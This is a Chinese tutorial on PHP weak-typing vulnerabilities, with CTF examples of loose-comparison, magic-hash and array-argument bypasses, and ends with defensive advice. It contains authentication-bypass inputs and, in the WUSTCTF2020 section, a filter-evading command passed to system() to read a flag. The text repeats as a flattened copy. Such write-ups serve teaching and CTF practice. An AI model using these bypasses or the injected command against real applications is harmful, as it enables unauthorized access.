详解PHP弱类型安全问题
字数 1605 2025-08-12 11:33:58

PHP弱类型安全问题详解

一、PHP弱类型基础

PHP是一种弱类型语言,对变量的数据类型没有严格限制,可以在任何时候将变量赋值给任意其他类型的变量,也可以转换成任意其他类型的数据。这种特性在类型转换、不同类型比较和不合理传参时,可能造成意外执行结果和防御绕过。

1.1 类型转换

PHP常见的类型转换包括int转string和string转int:

int转string

$var = 5;
$item = (string)$var;  // 方式1
$item = strval($var);  // 方式2

string转int

var_dump(intval('2'));      // 2
var_dump(intval('3abcd'));  // 3
var_dump(intval('abcd'));   // 0

intval()转换规则:从字符串开始转换直到遇到非数字字符。无法转换时返回0而不报错。

1.2 比较操作符

PHP有三个等号(===)和两个等号(==):

  • ===:比较类型和值
  • ==:先转化为同一类型再比较

示例:

var_dump(1 == '1a');    // true
var_dump(null==false);  // true
var_dump(0==false);     // true
var_dump(0==null);      // true

二、比较操作符安全问题

2.1 整形与字符串比较

整形与字符串比较时,字符串会转为整形:

var_dump(0 == 'a');  // true

2.2 Hash比较问题

符合\d+e\d+格式的字符串会被解析为科学计数法(如0e1=0*10=0)。如果哈希值以0e开头,比较时可能被绕过:

var_dump('0e481036490867661113260034900752' == '0');  // true
var_dump(md5('240610708') == md5('QNKCDZO'));        // true
var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));      // true

2.3 十六进制转换

PHP7以下版本,以0x开头的字符串会被转为十进制比较:

var_dump('0xccccccccc' == '54975581388');  // PHP7以下为true

例题

function noother_says_correct($temp) {
    $flag = 'flag{test}';
    $number = '3735929054';
    // 检查不能包含1-9的数字
    for ($i = 0; $i < strlen($number); $i++) {
        $digit = ord($temp{$i});
        if (($digit >= ord('1')) && ($digit <= ord('9'))) {
            return "false";
        }
    }
    if($number == $temp) return $flag;
}

解法:将3735929054转为16进制deadc0de,传入?password=0xdeadc0de绕过。

三、内置函数松散性问题

3.1 md5()函数

md5()需要string参数,传入array时不会报错,返回NULL:

$a = array('1');
$b = array('2');
var_dump(md5($a)===md5($b));  // true

例题

if ($_GET['username'] != $_GET['password'] && md5($_GET['username']) === md5($_GET['password'])) {
    die('Flag: '.$flag);
}

解法:

  1. 传入数组:?username[]=1&password[]=2
  2. 或传入特定MD5值

3.2 sha1()函数

类似md5()sha1()也无法处理array参数:

if ($_GET['name'] != $_GET['password'] && sha1($_GET['name']) === sha1($_GET['password'])) {
    die('Flag: '.$flag);
}

解法:name[]=1&password[]=3

3.3 strcmp()函数

strcmp(string $str1, string $str2)比较字符串,传入数组时返回NULL:

$a = ['2'];
$b = "1";
var_dump(strcmp($a,$b)==0);  // true

例题

if (strcmp($_GET['a'], $flag) == 0) {
    die('Flag: '.$flag);
}

解法:a[]=

3.4 switch()语句

数字类型case判断时,参数会被转为int:

$i = "2qw";
switch ($i) {
    case 0: case 1: case 2:
        echo "2"; break;  // 输出2
    case 3: echo "3";
}

3.5 in_array()函数

默认松散比较,不判断类型:

$array = [0,1,2,'3'];
var_dump(in_array('abc', $array));  // true ('abc'转为0)

3.6 array_search()函数

默认松散比较:

$array = [1,"3"];
$key = "1a";
var_dump(array_search($key, $array));  // 0

3.7 strpos()函数

查找字符串位置,传入数组返回NULL:

if (strpos($_GET['nctf'], '#biubiubiu') !== FALSE) {
    die('Flag: '.$flag);
}

解法:nctf[]=

3.8 is_numeric()函数

判断是否为数字,支持科学计数法和部分十六进制:

$temp = $_GET['password'];
is_numeric($temp)?die("no numeric"):NULL;
if($temp>1336) echo $flag;

解法:password=1337a

例题2

if(!is_numeric($_GET['time'])){
    echo 'The time must be number.';
}else if($_GET['time'] < 60*60*24*30*2){
    echo 'This time is too short.';
}else if($_GET['time'] > 60*60*24*30*3){
    echo 'This time is too long.';
}else{
    sleep((int)$_GET['time']);
    echo $flag;
}

解法:

  1. 科学计数法:?time=5.276e6
  2. 十六进制:?time=0x4F1A01

四、综合例题解析

4.1 [WUSTCTF2020]朴实无华

// level 1
if(intval($num) < 2020 && intval($num + 1) > 2021){
    echo "通过";
}

// level 2
if ($md5==md5($md5)) {
    echo "通过";
}

// get flag
if(!strstr($get_flag," ")){
    $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
    system($get_flag);
}

解法

  1. level1:num=1e7(intval(\(num)=1,\)num+1=10000001)
  2. level2:md5=0e215962017(md5('0e215962017')=0e...)
  3. get flag:get_flag=ca\t%09fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
    • %09(tab)代替空格
    • ca\t绕过cat过滤

五、防御建议

  1. 严格比较使用===而非==
  2. 对用户输入进行严格类型检查
  3. 使用is_int()而非is_numeric()
  4. 设置strict参数为true(如in_array($needle, $haystack, true)
  5. 对可能为数组的参数进行检查
  6. 使用最新PHP版本(许多弱类型问题在PHP7+已修复)

通过理解这些弱类型安全问题,开发者可以编写更安全的PHP代码,安全人员也能更好地发现和利用这些漏洞。

PHP弱类型安全问题详解 一、PHP弱类型基础 PHP是一种弱类型语言,对变量的数据类型没有严格限制,可以在任何时候将变量赋值给任意其他类型的变量,也可以转换成任意其他类型的数据。这种特性在类型转换、不同类型比较和不合理传参时,可能造成意外执行结果和防御绕过。 1.1 类型转换 PHP常见的类型转换包括int转string和string转int: int转string : string转int : intval() 转换规则:从字符串开始转换直到遇到非数字字符。无法转换时返回0而不报错。 1.2 比较操作符 PHP有三个等号( === )和两个等号( == ): === :比较类型和值 == :先转化为同一类型再比较 示例: 二、比较操作符安全问题 2.1 整形与字符串比较 整形与字符串比较时,字符串会转为整形: 2.2 Hash比较问题 符合 \d+e\d+ 格式的字符串会被解析为科学计数法(如 0e1=0*10=0 )。如果哈希值以 0e 开头,比较时可能被绕过: 2.3 十六进制转换 PHP7以下版本,以 0x 开头的字符串会被转为十进制比较: 例题 : 解法:将3735929054转为16进制 deadc0de ,传入 ?password=0xdeadc0de 绕过。 三、内置函数松散性问题 3.1 md5()函数 md5() 需要string参数,传入array时不会报错,返回NULL: 例题 : 解法: 传入数组: ?username[]=1&password[]=2 或传入特定MD5值 3.2 sha1()函数 类似 md5() , sha1() 也无法处理array参数: 解法: name[]=1&password[]=3 3.3 strcmp()函数 strcmp(string $str1, string $str2) 比较字符串,传入数组时返回NULL: 例题 : 解法: a[]= 3.4 switch()语句 数字类型case判断时,参数会被转为int: 3.5 in_ array()函数 默认松散比较,不判断类型: 3.6 array_ search()函数 默认松散比较: 3.7 strpos()函数 查找字符串位置,传入数组返回NULL: 解法: nctf[]= 3.8 is_ numeric()函数 判断是否为数字,支持科学计数法和部分十六进制: 解法: password=1337a 例题2 : 解法: 科学计数法: ?time=5.276e6 十六进制: ?time=0x4F1A01 四、综合例题解析 4.1 [ WUSTCTF2020 ]朴实无华 解法 : level1: num=1e7 (intval($num)=1,$num+1=10000001) level2: md5=0e215962017 (md5('0e215962017')=0e...) get flag: get_flag=ca\t%09fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag 用 %09 (tab)代替空格 用 ca\t 绕过cat过滤 五、防御建议 严格比较使用 === 而非 == 对用户输入进行严格类型检查 使用 is_int() 而非 is_numeric() 设置 strict 参数为true(如 in_array($needle, $haystack, true) ) 对可能为数组的参数进行检查 使用最新PHP版本(许多弱类型问题在PHP7+已修复) 通过理解这些弱类型安全问题,开发者可以编写更安全的PHP代码,安全人员也能更好地发现和利用这些漏洞。